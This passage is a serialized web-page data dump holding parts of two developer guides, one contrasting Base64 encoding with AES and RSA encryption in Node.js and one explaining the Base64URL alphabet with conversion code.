encryptSymmetric",[1560,260909,1688],{"class":1570},[1560,260911,140],{"class":2219},[1560,260913,1459],{"class":1570},[1560,260915,39098],{"class":2219},[1560,260917,9345],{"class":1570},[1560,260919,260920,260922,260924,260926,260928,260930,260932,260934],{"class":1562,"line":365},[1560,260921,28057],{"class":1669},[1560,260923,237726],{"class":1576},[1560,260925,8186],{"class":1669},[1560,260927,41913],{"class":1570},[1560,260929,41916],{"class":1566},[1560,260931,1688],{"class":1570},[1560,260933,10057],{"class":1576},[1560,260935,1744],{"class":1570},[1560,260937,260938,260940,260942,260944,260946,260948,260950,260952],{"class":1562,"line":889},[1560,260939,28057],{"class":1669},[1560,260941,237749],{"class":1576},[1560,260943,8186],{"class":1669},[1560,260945,41913],{"class":1570},[1560,260947,237756],{"class":1566},[1560,260949,1688],{"class":1570},[1560,260951,237761],{"class":5634},[1560,260953,237764],{"class":1570},[1560,260955,260956,260958,260960,260962,260964,260966,260968,260970,260972,260974,260976,260978,260980,260982,260984,260986],{"class":1562,"line":1710},[1560,260957,28057],{"class":1669},[1560,260959,237771],{"class":1576},[1560,260961,8186],{"class":1669},[1560,260963,237776],{"class":1570},[1560,260965,151608],{"class":1566},[1560,260967,22902],{"class":1570},[1560,260969,154602],{"class":5634},[1560,260971,1459],{"class":1570},[1560,260973,41938],{"class":5634},[1560,260975,1733],{"class":1570},[1560,260977,9448],{"class":1669},[1560,260979,237776],{"class":1570},[1560,260981,237799],{"class":1566},[1560,260983,1688],{"class":1570},[1560,260985,41938],{"class":5634},[1560,260987,1744],{"class":1570},[1560,260989,260990,260992,260994,260996,260998,261000],{"class":1562,"line":1717},[1560,260991,28057],{"class":1669},[1560,260993,119896],{"class":1576},[1560,260995,8186],{"class":1669},[1560,260997,237776],{"class":1570},[1560,260999,237841],{"class":1566},[1560,261001,90158],{"class":1570},[1560,261003,261004,261006,261009,261011,261013,261015,261017,261019,261022,261024,261027,261029,261031,261033,261035,261037,261039,261041],{"class":1562,"line":1747},[1560,261005,9350],{"class":1669},[1560,261007,261008],{"class":1570}," iv.",[1560,261010,10052],{"class":1566},[1560,261012,1688],{"class":1570},[1560,261014,41938],{"class":5634},[1560,261016,1733],{"class":1570},[1560,261018,9448],{"class":1669},[1560,261020,261021],{"class":5634}," ':'",[1560,261023,29002],{"class":1669},[1560,261025,261026],{"class":1570}," tag.",[1560,261028,10052],{"class":1566},[1560,261030,1688],{"class":1570},[1560,261032,41938],{"class":5634},[1560,261034,1733],{"class":1570},[1560,261036,9448],{"class":1669},[1560,261038,261021],{"class":5634},[1560,261040,29002],{"class":1669},[1560,261042,261043],{"class":1570}," encrypted;\n",[1560,261045,261046],{"class":1562,"line":2507},[1560,261047,1585],{"class":1570},[1560,261049,261050],{"class":1562,"line":2524},[1560,261051,1702],{"emptyLinePlaceholder":363},[1560,261053,261054,261056,261059,261061,261064,261066,261068],{"class":1562,"line":2529},[1560,261055,8648],{"class":1669},[1560,261057,261058],{"class":1566}," decryptSymmetric",[1560,261060,1688],{"class":1570},[1560,261062,261063],{"class":2219},"encrypted",[1560,261065,1459],{"class":1570},[1560,261067,39098],{"class":2219},[1560,261069,9345],{"class":1570},[1560,261071,261072,261074,261076,261078,261081,261083,261085,261087],{"class":1562,"line":2534},[1560,261073,28057],{"class":1669},[1560,261075,81980],{"class":1576},[1560,261077,8186],{"class":1669},[1560,261079,261080],{"class":1570}," encrypted.",[1560,261082,9356],{"class":1566},[1560,261084,1688],{"class":1570},[1560,261086,101579],{"class":5634},[1560,261088,1744],{"class":1570},[1560,261090,261091,261093,261095,261097,261099,261101,261103,261105,261108,261110],{"class":1562,"line":2542},[1560,261092,28057],{"class":1669},[1560,261094,237726],{"class":1576},[1560,261096,8186],{"class":1669},[1560,261098,259925],{"class":1570},[1560,261100,8168],{"class":1566},[1560,261102,89958],{"class":1570},[1560,261104,5285],{"class":1576},[1560,261106,261107],{"class":1570},"], ",[1560,261109,41938],{"class":5634},[1560,261111,1744],{"class":1570},[1560,261113,261114,261116,261118,261120,261122,261124,261126,261128,261130,261132],{"class":1562,"line":2558},[1560,261115,28057],{"class":1669},[1560,261117,119896],{"class":1576},[1560,261119,8186],{"class":1669},[1560,261121,259925],{"class":1570},[1560,261123,8168],{"class":1566},[1560,261125,89958],{"class":1570},[1560,261127,3585],{"class":1576},[1560,261129,261107],{"class":1570},[1560,261131,41938],{"class":5634},[1560,261133,1744],{"class":1570},[1560,261135,261136,261138,261141,261143,261146,261148],{"class":1562,"line":2570},[1560,261137,28057],{"class":1669},[1560,261139,261140],{"class":1576}," encryptedText",[1560,261142,8186],{"class":1669},[1560,261144,261145],{"class":1570}," parts[",[1560,261147,10099],{"class":1576},[1560,261149,13502],{"class":1570},[1560,261151,261152,261154,261156,261158,261160,261162,261164,261166],{"class":1562,"line":6638},[1560,261153,28057],{"class":1669},[1560,261155,237850],{"class":1576},[1560,261157,8186],{"class":1669},[1560,261159,41913],{"class":1570},[1560,261161,237857],{"class":1566},[1560,261163,1688],{"class":1570},[1560,261165,237761],{"class":5634},[1560,261167,237764],{"class":1570},[1560,261169,261170,261172,261174],{"class":1562,"line":11615},[1560,261171,260108],{"class":1570},[1560,261173,237871],{"class":1566},[1560,261175,237874],{"class":1570},[1560,261177,261178,261180,261182,261184,261187,261189,261191,261193,261195,261197,261199,261201,261203,261205],{"class":1562,"line":11621},[1560,261179,9350],{"class":1669},[1560,261181,237886],{"class":1570},[1560,261183,151608],{"class":1566},[1560,261185,261186],{"class":1570},"(encryptedText, ",[1560,261188,41938],{"class":5634},[1560,261190,1459],{"class":1570},[1560,261192,154602],{"class":5634},[1560,261194,1733],{"class":1570},[1560,261196,9448],{"class":1669},[1560,261198,237886],{"class":1570},[1560,261200,237799],{"class":1566},[1560,261202,1688],{"class":1570},[1560,261204,154602],{"class":5634},[1560,261206,1744],{"class":1570},[1560,261208,261209],{"class":1562,"line":11633},[1560,261210,1585],{"class":1570},[1560,261212,261213],{"class":1562,"line":11638},[1560,261214,1702],{"emptyLinePlaceholder":363},[1560,261216,261217,261219,261221,261223,261225,261227,261229,261231,261233],{"class":1562,"line":11672},[1560,261218,8180],{"class":1669},[1560,261220,90481],{"class":1576},[1560,261222,8186],{"class":1669},[1560,261224,41913],{"class":1570},[1560,261226,41916],{"class":1566},[1560,261228,1688],{"class":1570},[1560,261230,36042],{"class":1576},[1560,261232,5171],{"class":1570},[1560,261234,261235],{"class":1649},"\u002F\u002F Keep this secret!\n",[1560,261237,261238,261240,261242,261244,261246,261248,261251],{"class":1562,"line":19435},[1560,261239,8180],{"class":1669},[1560,261241,237771],{"class":1576},[1560,261243,8186],{"class":1669},[1560,261245,260907],{"class":1566},[1560,261247,1688],{"class":1570},[1560,261249,261250],{"class":5634},"\"Secret data\"",[1560,261252,260182],{"class":1570},[1560,261254,261255,261257,261259,261261,261263],{"class":1562,"line":19442},[1560,261256,8180],{"class":1669},[1560,261258,237881],{"class":1576},[1560,261260,8186],{"class":1669},[1560,261262,261058],{"class":1566},[1560,261264,260211],{"class":1570},[33,261266,261268],{"id":261267},"_3-asymmetric-encryption-two-way-publicprivate-key","3. Asymmetric Encryption (Two-Way, Public\u002FPrivate Key)",[16,261270,261271],{},"For sharing encrypted data without sharing the decryption key:",[135,261273,261275],{"className":1607,"code":261274,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\n\n\u002F\u002F Generate key pair\nconst { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {\n  modulusLength: 2048,\n  publicKeyEncoding: { type: 'spki', format: 'pem' },\n  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }\n});\n\n\u002F\u002F Encrypt with public key (anyone can encrypt)\nconst encrypted = crypto.publicEncrypt(\n  publicKey,\n  Buffer.from(\"Secret message\")\n).toString('base64');\n\n\u002F\u002F Decrypt with private key (only you can decrypt)\nconst decrypted = crypto.privateDecrypt(\n  privateKey,\n  Buffer.from(encrypted, 'base64')\n).toString();\n\nconsole.log(decrypted); \u002F\u002F \"Secret message\"\n",[143,261276,261277,261293,261297,261302,261332,261341,261357,261371,261375,261379,261384,261399,261404,261418,261430,261434,261439,261454,261459,261471,261479,261483],{"__ignoreMap":141},[1560,261278,261279,261281,261283,261285,261287,261289,261291],{"class":1562,"line":1563},[1560,261280,8180],{"class":1669},[1560,261282,41881],{"class":1576},[1560,261284,8186],{"class":1669},[1560,261286,20658],{"class":1566},[1560,261288,1688],{"class":1570},[1560,261290,41890],{"class":5634},[1560,261292,1744],{"class":1570},[1560,261294,261295],{"class":1562,"line":337},[1560,261296,1702],{"emptyLinePlaceholder":363},[1560,261298,261299],{"class":1562,"line":343},[1560,261300,261301],{"class":1649},"\u002F\u002F Generate key pair\n",[1560,261303,261304,261306,261308,261311,261313,261316,261318,261320,261322,261325,261327,261330],{"class":1562,"line":365},[1560,261305,8180],{"class":1669},[1560,261307,1658],{"class":1570},[1560,261309,261310],{"class":1576},"publicKey",[1560,261312,1459],{"class":1570},[1560,261314,261315],{"class":1576},"privateKey",[1560,261317,49704],{"class":1570},[1560,261319,7297],{"class":1669},[1560,261321,41913],{"class":1570},[1560,261323,261324],{"class":1566},"generateKeyPairSync",[1560,261326,1688],{"class":1570},[1560,261328,261329],{"class":5634},"'rsa'",[1560,261331,49495],{"class":1570},[1560,261333,261334,261337,261339],{"class":1562,"line":889},[1560,261335,261336],{"class":1570},"  modulusLength: ",[1560,261338,11852],{"class":1576},[1560,261340,11943],{"class":1570},[1560,261342,261343,261346,261349,261352,261355],{"class":1562,"line":1710},[1560,261344,261345],{"class":1570},"  publicKeyEncoding: { type: ",[1560,261347,261348],{"class":5634},"'spki'",[1560,261350,261351],{"class":1570},", format: ",[1560,261353,261354],{"class":5634},"'pem'",[1560,261356,21223],{"class":1570},[1560,261358,261359,261362,261365,261367,261369],{"class":1562,"line":1717},[1560,261360,261361],{"class":1570},"  privateKeyEncoding: { type: ",[1560,261363,261364],{"class":5634},"'pkcs8'",[1560,261366,261351],{"class":1570},[1560,261368,261354],{"class":5634},[1560,261370,27879],{"class":1570},[1560,261372,261373],{"class":1562,"line":1747},[1560,261374,11809],{"class":1570},[1560,261376,261377],{"class":1562,"line":2507},[1560,261378,1702],{"emptyLinePlaceholder":363},[1560,261380,261381],{"class":1562,"line":2524},[1560,261382,261383],{"class":1649},"\u002F\u002F Encrypt with public key (anyone can encrypt)\n",[1560,261385,261386,261388,261390,261392,261394,261397],{"class":1562,"line":2529},[1560,261387,8180],{"class":1669},[1560,261389,237771],{"class":1576},[1560,261391,8186],{"class":1669},[1560,261393,41913],{"class":1570},[1560,261395,261396],{"class":1566},"publicEncrypt",[1560,261398,35957],{"class":1570},[1560,261400,261401],{"class":1562,"line":2534},[1560,261402,261403],{"class":1570},"  publicKey,\n",[1560,261405,261406,261409,261411,261413,261416],{"class":1562,"line":2542},[1560,261407,261408],{"class":1570},"  Buffer.",[1560,261410,8168],{"class":1566},[1560,261412,1688],{"class":1570},[1560,261414,261415],{"class":5634},"\"Secret message\"",[1560,261417,8252],{"class":1570},[1560,261419,261420,261422,261424,261426,261428],{"class":1562,"line":2558},[1560,261421,9368],{"class":1570},[1560,261423,10052],{"class":1566},[1560,261425,1688],{"class":1570},[1560,261427,131045],{"class":5634},[1560,261429,1744],{"class":1570},[1560,261431,261432],{"class":1562,"line":2570},[1560,261433,1702],{"emptyLinePlaceholder":363},[1560,261435,261436],{"class":1562,"line":6638},[1560,261437,261438],{"class":1649},"\u002F\u002F Decrypt with private key (only you can decrypt)\n",[1560,261440,261441,261443,261445,261447,261449,261452],{"class":1562,"line":11615},[1560,261442,8180],{"class":1669},[1560,261444,237881],{"class":1576},[1560,261446,8186],{"class":1669},[1560,261448,41913],{"class":1570},[1560,261450,261451],{"class":1566},"privateDecrypt",[1560,261453,35957],{"class":1570},[1560,261455,261456],{"class":1562,"line":11621},[1560,261457,261458],{"class":1570},"  privateKey,\n",[1560,261460,261461,261463,261465,261467,261469],{"class":1562,"line":11633},[1560,261462,261408],{"class":1570},[1560,261464,8168],{"class":1566},[1560,261466,237891],{"class":1570},[1560,261468,131045],{"class":5634},[1560,261470,8252],{"class":1570},[1560,261472,261473,261475,261477],{"class":1562,"line":11638},[1560,261474,9368],{"class":1570},[1560,261476,10052],{"class":1566},[1560,261478,90158],{"class":1570},[1560,261480,261481],{"class":1562,"line":11672},[1560,261482,1702],{"emptyLinePlaceholder":363},[1560,261484,261485,261487,261489,261491],{"class":1562,"line":19435},[1560,261486,8211],{"class":1570},[1560,261488,8214],{"class":1566},[1560,261490,260220],{"class":1570},[1560,261492,261493],{"class":1649},"\u002F\u002F \"Secret message\"\n",[11,261495,261497],{"id":261496},"quick-comparison-table","Quick Comparison Table",[193,261499,261500,261513],{},[196,261501,261502],{},[199,261503,261504,261506,261509,261511],{},[202,261505,21080],{},[202,261507,261508],{},"Use Base64",[202,261510,238516],{},[202,261512,238519],{},[211,261514,261515,261526,261537,261549,261561,261572],{},[199,261516,261517,261520,261522,261524],{},[216,261518,261519],{},"Embedding images in HTML",[216,261521,95806],{},[216,261523,36957],{},[216,261525,36957],{},[199,261527,261528,261531,261533,261535],{},[216,261529,261530],{},"Storing user passwords",[216,261532,36957],{},[216,261534,95806],{},[216,261536,36957],{},[199,261538,261539,261542,261545,261547],{},[216,261540,261541],{},"Sending data over HTTPS",[216,261543,261544],{},"Maybe*",[216,261546,36957],{},[216,261548,36957],{},[199,261550,261551,261554,261556,261558],{},[216,261552,261553],{},"Protecting API keys",[216,261555,36957],{},[216,261557,36957],{},[216,261559,261560],{},"✅ (server-side)",[199,261562,261563,261566,261568,261570],{},[216,261564,261565],{},"JWT payload (not secret)",[216,261567,95806],{},[216,261569,36957],{},[216,261571,36957],{},[199,261573,261574,261577,261579,261581],{},[216,261575,261576],{},"JWT signature (secret)",[216,261578,36957],{},[216,261580,36957],{},[216,261582,95806],{},[16,261584,261585],{},"*HTTPS already provides transport encryption. Base64 is for data format, not transport security.",[11,261587,208883],{"id":161627},[16,261589,261590],{},"Base64 encoding and encryption serve completely different purposes:",[41,261592,261593,261598,261603],{},[44,261594,261595,261597],{},[47,261596,84223],{}," = Data format conversion (like translating languages)",[44,261599,261600,261602],{},[47,261601,84413],{}," = Data protection (like putting in a safe)",[44,261604,261605,261607],{},[47,261606,84416],{}," = One-way transformation (for passwords)",[16,261609,261610],{},[47,261611,261612,261613,261616],{},"Remember: If you can decode it with ",[143,261614,261615],{},"atob()"," without a key, it's not encrypted!",[16,261618,261619],{},"Never use Base64 for:",[41,261621,261622,261624,261627,261630],{},[44,261623,151423],{},[44,261625,261626],{},"API key protection",[44,261628,261629],{},"Hiding sensitive data",[44,261631,261632],{},"Any security purpose",[11,261634,257800],{"id":257799},[41,261636,261637,261642],{},[44,261638,261639,261640],{},"Encode and decode Base64 with our ",[98,261641,12162],{"href":12161},[44,261643,257805,261644],{},[98,261645,170976],{"href":170975},[2043,261647,261648],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":261650},[261651,261652,261656,261660,261665,261670,261673,261678,261679,261680],{"id":256641,"depth":337,"text":2776},{"id":259519,"depth":337,"text":259520,"children":261653},[261654,261655],{"id":259523,"depth":343,"text":259524},{"id":259599,"depth":343,"text":259600},{"id":259609,"depth":337,"text":259610,"children":261657},[261658,261659],{"id":259620,"depth":343,"text":259621},{"id":259706,"depth":343,"text":259707},{"id":259744,"depth":337,"text":259745,"children":261661},[261662,261663,261664],{"id":259748,"depth":343,"text":259749},{"id":260226,"depth":343,"text":260227},{"id":260276,"depth":343,"text":260277},{"id":260304,"depth":337,"text":260305,"children":261666},[261667,261668,261669],{"id":260308,"depth":343,"text":260309},{"id":260425,"depth":343,"text":260426},{"id":260476,"depth":343,"text":260477},{"id":260550,"depth":337,"text":260551,"children":261671},[261672],{"id":260557,"depth":343,"text":260558},{"id":260716,"depth":337,"text":260717,"children":261674},[261675,261676,261677],{"id":260720,"depth":343,"text":260721},{"id":260871,"depth":343,"text":260872},{"id":261267,"depth":343,"text":261268},{"id":261496,"depth":337,"text":261497},{"id":161627,"depth":337,"text":208883},{"id":257799,"depth":337,"text":257800},"Understand the fundamental difference between Base64 encoding and encryption. Learn why Base64 provides no security and how to properly protect sensitive data with AES, RSA, and hashing.",{"immutable":363},{"title":259506,"description":261681},"guides\u002Fbase64-vs-encryption","J3Qm3ek2-IvSsM3L6X2Gs0Ht6e0HhbsS8deBO5f9iC4",{"id":261687,"title":261688,"body":261689,"date":257855,"description":263758,"extension":361,"meta":263759,"navigation":363,"path":242699,"readingTime":1747,"seo":263760,"stem":263761,"__hash__":263762},"guides\u002Fguides\u002Fbase64url-difference.md","Base64 vs Base64URL: What's the Difference?",{"type":8,"value":261690,"toc":263724},[261691,261693,261696,261699,261703,261706,261749,261753,261875,261879,261882,261886,261951,261955,262222,262226,262230,262238,262258,262261,262267,262270,262276,262280,262283,262424,262427,262431,262435,262441,262488,262492,262499,262657,262662,262664,262668,262697,262745,262749,262784,262883,262887,262889,263101,263103,263223,263225,263372,263374,263378,263445,263449,263569,263573,263623,263625,263703,263706,263708,263721],[11,261692,2776],{"id":256641},[16,261694,261695],{},"If you have worked with web APIs, JSON Web Tokens (JWT), or URL-safe data transmission, you have likely encountered both Base64 and Base64URL encoding. While they look nearly identical at first glance, the subtle differences between them are critical for correct implementation.",[16,261697,261698],{},"This guide explains exactly what sets Base64 and Base64URL apart, why those differences exist, and when to use each encoding scheme in your applications.",[11,261700,261702],{"id":261701},"what-is-standard-base64","What is Standard Base64?",[16,261704,261705],{},"Base64 is a binary-to-text encoding scheme that converts binary data into an ASCII string format using a set of 64 characters. The standard Base64 alphabet consists of:",[41,261707,261708,261714,261719,261725,261733,261741],{},[44,261709,261710,261713],{},[47,261711,261712],{},"Uppercase letters A–Z"," (26 characters)",[44,261715,261716,261713],{},[47,261717,261718],{},"Lowercase letters a–z",[44,261720,261721,261724],{},[47,261722,261723],{},"Digits 0–9"," (10 characters)",[44,261726,261727,261732],{},[47,261728,261729,261730],{},"The plus sign ",[143,261731,9448],{}," (value 62)",[44,261734,261735,261740],{},[47,261736,261737,261738],{},"The forward slash ",[143,261739,9423],{}," (value 63)",[44,261742,261743,261748],{},[47,261744,261745,261746],{},"The equals sign ",[143,261747,7297],{}," (padding character)",[33,261750,261752],{"id":261751},"standard-base64-example","Standard Base64 Example",[135,261754,261756],{"className":1607,"code":261755,"language":1609,"meta":141,"style":141},"const text = \"Hello World\";\nconst base64 = btoa(text);\nconsole.log(base64); \u002F\u002F SGVsbG8gV29ybGQ=\n\n\u002F\u002F With binary data\nconst binaryData = new Uint8Array([72, 101, 108, 108, 111]);\nconst base64Binary = btoa(String.fromCharCode(...binaryData));\nconsole.log(base64Binary); \u002F\u002F SGVsbG8=\n",[143,261757,261758,261771,261783,261794,261798,261803,261840,261863],{"__ignoreMap":141},[1560,261759,261760,261762,261764,261766,261769],{"class":1562,"line":1563},[1560,261761,8180],{"class":1669},[1560,261763,87414],{"class":1576},[1560,261765,8186],{"class":1669},[1560,261767,261768],{"class":5634}," \"Hello World\"",[1560,261770,2228],{"class":1570},[1560,261772,261773,261775,261777,261779,261781],{"class":1562,"line":337},[1560,261774,8180],{"class":1669},[1560,261776,131027],{"class":1576},[1560,261778,8186],{"class":1669},[1560,261780,43090],{"class":1566},[1560,261782,111407],{"class":1570},[1560,261784,261785,261787,261789,261791],{"class":1562,"line":343},[1560,261786,8211],{"class":1570},[1560,261788,8214],{"class":1566},[1560,261790,259665],{"class":1570},[1560,261792,261793],{"class":1649},"\u002F\u002F SGVsbG8gV29ybGQ=\n",[1560,261795,261796],{"class":1562,"line":365},[1560,261797,1702],{"emptyLinePlaceholder":363},[1560,261799,261800],{"class":1562,"line":889},[1560,261801,261802],{"class":1649},"\u002F\u002F With binary data\n",[1560,261804,261805,261807,261810,261812,261814,261816,261818,261821,261823,261825,261827,261830,261832,261834,261836,261838],{"class":1562,"line":1710},[1560,261806,8180],{"class":1669},[1560,261808,261809],{"class":1576}," binaryData",[1560,261811,8186],{"class":1669},[1560,261813,11489],{"class":1669},[1560,261815,42188],{"class":1566},[1560,261817,175667],{"class":1570},[1560,261819,261820],{"class":1576},"72",[1560,261822,1459],{"class":1570},[1560,261824,41973],{"class":1576},[1560,261826,1459],{"class":1570},[1560,261828,261829],{"class":1576},"108",[1560,261831,1459],{"class":1570},[1560,261833,261829],{"class":1576},[1560,261835,1459],{"class":1570},[1560,261837,159126],{"class":1576},[1560,261839,157528],{"class":1570},[1560,261841,261842,261844,261847,261849,261851,261854,261856,261858,261860],{"class":1562,"line":1717},[1560,261843,8180],{"class":1669},[1560,261845,261846],{"class":1576}," base64Binary",[1560,261848,8186],{"class":1669},[1560,261850,43090],{"class":1566},[1560,261852,261853],{"class":1570},"(String.",[1560,261855,22782],{"class":1566},[1560,261857,1688],{"class":1570},[1560,261859,24388],{"class":1669},[1560,261861,261862],{"class":1570},"binaryData));\n",[1560,261864,261865,261867,261869,261872],{"class":1562,"line":1747},[1560,261866,8211],{"class":1570},[1560,261868,8214],{"class":1566},[1560,261870,261871],{"class":1570},"(base64Binary); ",[1560,261873,261874],{"class":1649},"\u002F\u002F SGVsbG8=\n",[11,261876,261878],{"id":261877},"what-is-base64url","What is Base64URL?",[16,261880,261881],{},"Base64URL is a URL-safe variant of Base64 encoding defined in RFC 4648. It modifies the standard Base64 alphabet to make the output safe for use in URLs, filenames, and HTML form values without requiring percent-encoding.",[33,261883,261885],{"id":261884},"the-key-differences","The Key Differences",[193,261887,261888,261900],{},[196,261889,261890],{},[199,261891,261892,261895,261898],{},[202,261893,261894],{},"Character in Base64",[202,261896,261897],{},"Character in Base64URL",[202,261899,23393],{},[211,261901,261902,261919,261936],{},[199,261903,261904,261909,261914],{},[216,261905,261906,261908],{},[143,261907,9448],{}," (plus)",[216,261910,261911,261913],{},[143,261912,9412],{}," (hyphen)",[216,261915,261916,261918],{},[143,261917,9448],{}," is meaningful in URLs (space encoding)",[199,261920,261921,261926,261931],{},[216,261922,261923,261925],{},[143,261924,9423],{}," (slash)",[216,261927,261928,261930],{},[143,261929,23056],{}," (underscore)",[216,261932,261933,261935],{},[143,261934,9423],{}," is a path separator in URLs",[199,261937,261938,261943,261946],{},[216,261939,261940,261941],{},"Padding ",[143,261942,7297],{},[216,261944,261945],{},"Removed or optional",[216,261947,261948,261950],{},[143,261949,7297],{}," can be percent-encoded in URLs",[33,261952,261954],{"id":261953},"base64url-example","Base64URL Example",[135,261956,261958],{"className":1607,"code":261957,"language":1609,"meta":141,"style":141},"function base64ToBase64Url(base64) {\n  return base64\n    .replace(\u002F\\+\u002Fg, '-')\n    .replace(\u002F\\\u002F\u002Fg, '_')\n    .replace(\u002F=+$\u002F, '');\n}\n\nfunction base64UrlToBase64(base64url) {\n  let base64 = base64url\n    .replace(\u002F-\u002Fg, '+')\n    .replace(\u002F_\u002Fg, '\u002F');\n  \u002F\u002F Restore padding\n  while (base64.length % 4) {\n    base64 += '=';\n  }\n  return base64;\n}\n\nconst text = \"Hello World\";\nconst standardBase64 = btoa(text); \u002F\u002F SGVsbG8gV29ybGQ=\nconst base64url = base64ToBase64Url(standardBase64); \u002F\u002F SGVsbG8gV29ybGQ\nconsole.log(base64url);\n",[143,261959,261960,261972,261979,262001,262023,262045,262049,262053,262066,262077,262099,262121,262125,262139,262150,262154,262161,262165,262169,262181,262197,262213],{"__ignoreMap":141},[1560,261961,261962,261964,261966,261968,261970],{"class":1562,"line":1563},[1560,261963,8648],{"class":1669},[1560,261965,254966],{"class":1566},[1560,261967,1688],{"class":1570},[1560,261969,86311],{"class":2219},[1560,261971,9345],{"class":1570},[1560,261973,261974,261976],{"class":1562,"line":337},[1560,261975,9350],{"class":1669},[1560,261977,261978],{"class":1570}," base64\n",[1560,261980,261981,261983,261985,261987,261989,261991,261993,261995,261997,261999],{"class":1562,"line":343},[1560,261982,37982],{"class":1570},[1560,261984,22721],{"class":1566},[1560,261986,1688],{"class":1570},[1560,261988,9423],{"class":5634},[1560,261990,43106],{"class":11915},[1560,261992,9423],{"class":5634},[1560,261994,22733],{"class":1669},[1560,261996,1459],{"class":1570},[1560,261998,43115],{"class":5634},[1560,262000,8252],{"class":1570},[1560,262002,262003,262005,262007,262009,262011,262013,262015,262017,262019,262021],{"class":1562,"line":365},[1560,262004,37982],{"class":1570},[1560,262006,22721],{"class":1566},[1560,262008,1688],{"class":1570},[1560,262010,9423],{"class":5634},[1560,262012,43130],{"class":11915},[1560,262014,9423],{"class":5634},[1560,262016,22733],{"class":1669},[1560,262018,1459],{"class":1570},[1560,262020,43139],{"class":5634},[1560,262022,8252],{"class":1570},[1560,262024,262025,262027,262029,262031,262033,262035,262037,262039,262041,262043],{"class":1562,"line":889},[1560,262026,37982],{"class":1570},[1560,262028,22721],{"class":1566},[1560,262030,1688],{"class":1570},[1560,262032,9423],{"class":5634},[1560,262034,7297],{"class":11919},[1560,262036,43156],{"class":1669},[1560,262038,9423],{"class":5634},[1560,262040,1459],{"class":1570},[1560,262042,5635],{"class":5634},[1560,262044,1744],{"class":1570},[1560,262046,262047],{"class":1562,"line":1710},[1560,262048,1585],{"class":1570},[1560,262050,262051],{"class":1562,"line":1717},[1560,262052,1702],{"emptyLinePlaceholder":363},[1560,262054,262055,262057,262060,262062,262064],{"class":1562,"line":1747},[1560,262056,8648],{"class":1669},[1560,262058,262059],{"class":1566}," base64UrlToBase64",[1560,262061,1688],{"class":1570},[1560,262063,254981],{"class":2219},[1560,262065,9345],{"class":1570},[1560,262067,262068,262070,262072,262074],{"class":1562,"line":2507},[1560,262069,38049],{"class":1669},[1560,262071,242501],{"class":1570},[1560,262073,7297],{"class":1669},[1560,262075,262076],{"class":1570}," base64url\n",[1560,262078,262079,262081,262083,262085,262087,262089,262091,262093,262095,262097],{"class":1562,"line":2524},[1560,262080,37982],{"class":1570},[1560,262082,22721],{"class":1566},[1560,262084,1688],{"class":1570},[1560,262086,9423],{"class":5634},[1560,262088,9412],{"class":11919},[1560,262090,9423],{"class":5634},[1560,262092,22733],{"class":1669},[1560,262094,1459],{"class":1570},[1560,262096,89979],{"class":5634},[1560,262098,8252],{"class":1570},[1560,262100,262101,262103,262105,262107,262109,262111,262113,262115,262117,262119],{"class":1562,"line":2529},[1560,262102,37982],{"class":1570},[1560,262104,22721],{"class":1566},[1560,262106,1688],{"class":1570},[1560,262108,9423],{"class":5634},[1560,262110,23056],{"class":11919},[1560,262112,9423],{"class":5634},[1560,262114,22733],{"class":1669},[1560,262116,1459],{"class":1570},[1560,262118,89998],{"class":5634},[1560,262120,1744],{"class":1570},[1560,262122,262123],{"class":1562,"line":2534},[1560,262124,242546],{"class":1649},[1560,262126,262127,262129,262131,262133,262135,262137],{"class":1562,"line":2542},[1560,262128,38062],{"class":1669},[1560,262130,242553],{"class":1570},[1560,262132,9418],{"class":1576},[1560,262134,242558],{"class":1669},[1560,262136,13574],{"class":1576},[1560,262138,9345],{"class":1570},[1560,262140,262141,262144,262146,262148],{"class":1562,"line":2558},[1560,262142,262143],{"class":1570},"    base64 ",[1560,262145,28386],{"class":1669},[1560,262147,242568],{"class":5634},[1560,262149,2228],{"class":1570},[1560,262151,262152],{"class":1562,"line":2570},[1560,262153,4959],{"class":1570},[1560,262155,262156,262158],{"class":1562,"line":6638},[1560,262157,9350],{"class":1669},[1560,262159,262160],{"class":1570}," base64;\n",[1560,262162,262163],{"class":1562,"line":11615},[1560,262164,1585],{"class":1570},[1560,262166,262167],{"class":1562,"line":11621},[1560,262168,1702],{"emptyLinePlaceholder":363},[1560,262170,262171,262173,262175,262177,262179],{"class":1562,"line":11633},[1560,262172,8180],{"class":1669},[1560,262174,87414],{"class":1576},[1560,262176,8186],{"class":1669},[1560,262178,261768],{"class":5634},[1560,262180,2228],{"class":1570},[1560,262182,262183,262185,262188,262190,262192,262195],{"class":1562,"line":11638},[1560,262184,8180],{"class":1669},[1560,262186,262187],{"class":1576}," standardBase64",[1560,262189,8186],{"class":1669},[1560,262191,43090],{"class":1566},[1560,262193,262194],{"class":1570},"(text); 